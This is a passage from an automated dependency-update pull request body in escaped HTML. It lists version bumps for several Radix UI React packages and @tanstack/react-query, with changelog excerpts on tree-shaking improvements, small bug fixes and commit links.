\u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/dropdown-menu\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-label` from 2.1.11 to 2.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/label/CHANGELOG.md\"\u003e@​radix-ui/react-label's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/label\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-popover` from 1.1.19 to 1.1.20\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/popover/CHANGELOG.md\"\u003e@​radix-ui/react-popover's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/popover\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-progress` from 1.1.12 to 1.1.13\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/progress/CHANGELOG.md\"\u003e@​radix-ui/react-progress's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/progress\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-scroll-area` from 1.2.14 to 1.2.15\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/scroll-area/CHANGELOG.md\"\u003e@​radix-ui/react-scroll-area's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/scroll-area\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-select` from 2.3.3 to 2.3.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/select/CHANGELOG.md\"\u003e@​radix-ui/react-select's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-scope@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/number@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-focus-guards@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/select\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-separator` from 1.1.11 to 1.1.12\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/separator/CHANGELOG.md\"\u003e@​radix-ui/react-separator's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/separator\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-switch` from 1.3.3 to 1.3.4\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/switch/CHANGELOG.md\"\u003e@​radix-ui/react-switch's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eFixed a bug where updating a \u003ccode\u003eCheckbox\u003c/code\u003e, \u003ccode\u003eSwitch\u003c/code\u003e, or \u003ccode\u003eRadioGroup\u003c/code\u003e value programmatically (eg. a \u0026quot;select all\u0026quot; control) while inside a \u003ccode\u003e\u0026lt;form\u0026gt;\u003c/code\u003e would dispatch a \u003ccode\u003eclick\u003c/code\u003e event from the hidden bubble input that propagated to ancestor \u003ccode\u003eonClick\u003c/code\u003e handlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/switch\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tabs` from 1.1.17 to 1.1.18\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tabs/CHANGELOG.md\"\u003e@​radix-ui/react-tabs's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-roving-focus@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tabs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-toggle` from 1.1.14 to 1.1.15\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/toggle/CHANGELOG.md\"\u003e@​radix-ui/react-toggle's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/toggle\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-tooltip` from 1.2.12 to 1.2.13\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/tooltip/CHANGELOG.md\"\u003e@​radix-ui/react-tooltip's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where \u003ccode\u003eTooltip.Content\u003c/code\u003e children were mounted to the DOM twice.\u003c/li\u003e\n\u003cli\u003eImproved tree-shaking so bundlers can drop unused components. Component parts are now marked \u003ccode\u003e/* @__PURE__ */\u003c/code\u003e and use named render functions instead of \u003ccode\u003eComponent.displayName = ...\u003c/code\u003e assignments, which previously prevented dead-code elimination with some bundlers.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-popper@1.3.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dismissable-layer@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-portal@1.1.14\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-visually-hidden@1.2.8\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.3.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/tooltip\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-query` from 5.101.2 to 5.101.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/react-query's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-persist-client-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-persist-client-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/7e3c822a10896f41a8f1031c16b85096277af677\"\u003e\u003ccode\u003e7e3c822\u003c/code\u003e\u003c/a\u003e]:\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/react-query/CHANGELOG.md\"\u003e@​tanstack/react-query's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.101.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/7e3c822a10896f41a8f1031c16b85096277af677\"\u003e\u003ccode\u003e7e3c822\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/86bb8a6fb2c7f15c74ff50afba053d778e6edc23\"\u003e\u003ccode\u003e86bb8a6\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11094\"\u003e#11094\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/181ea826cb5b5f722a774525046d8f4e105dd6bb\"\u003e\u003ccode\u003e181ea82\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11089\"\u003e#11089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/6d55b0759b4722b888fa516b1bb86c0a56ea47a2\"\u003e\u003ccode\u003e6d55b07\u003c/code\u003e\u003c/a\u003e test({react,preact}-query): use the '.then()' convention consistently (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query/issues/11085\"\u003e#11085\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/44f38df5deaf72d8d74bc62b620dffed43fdbc05\"\u003e\u003ccode\u003e44f38df\u003c/code\u003e\u003c/a\u003e test({react,preact,solid}-query/useInfiniteQuery): inline the shared 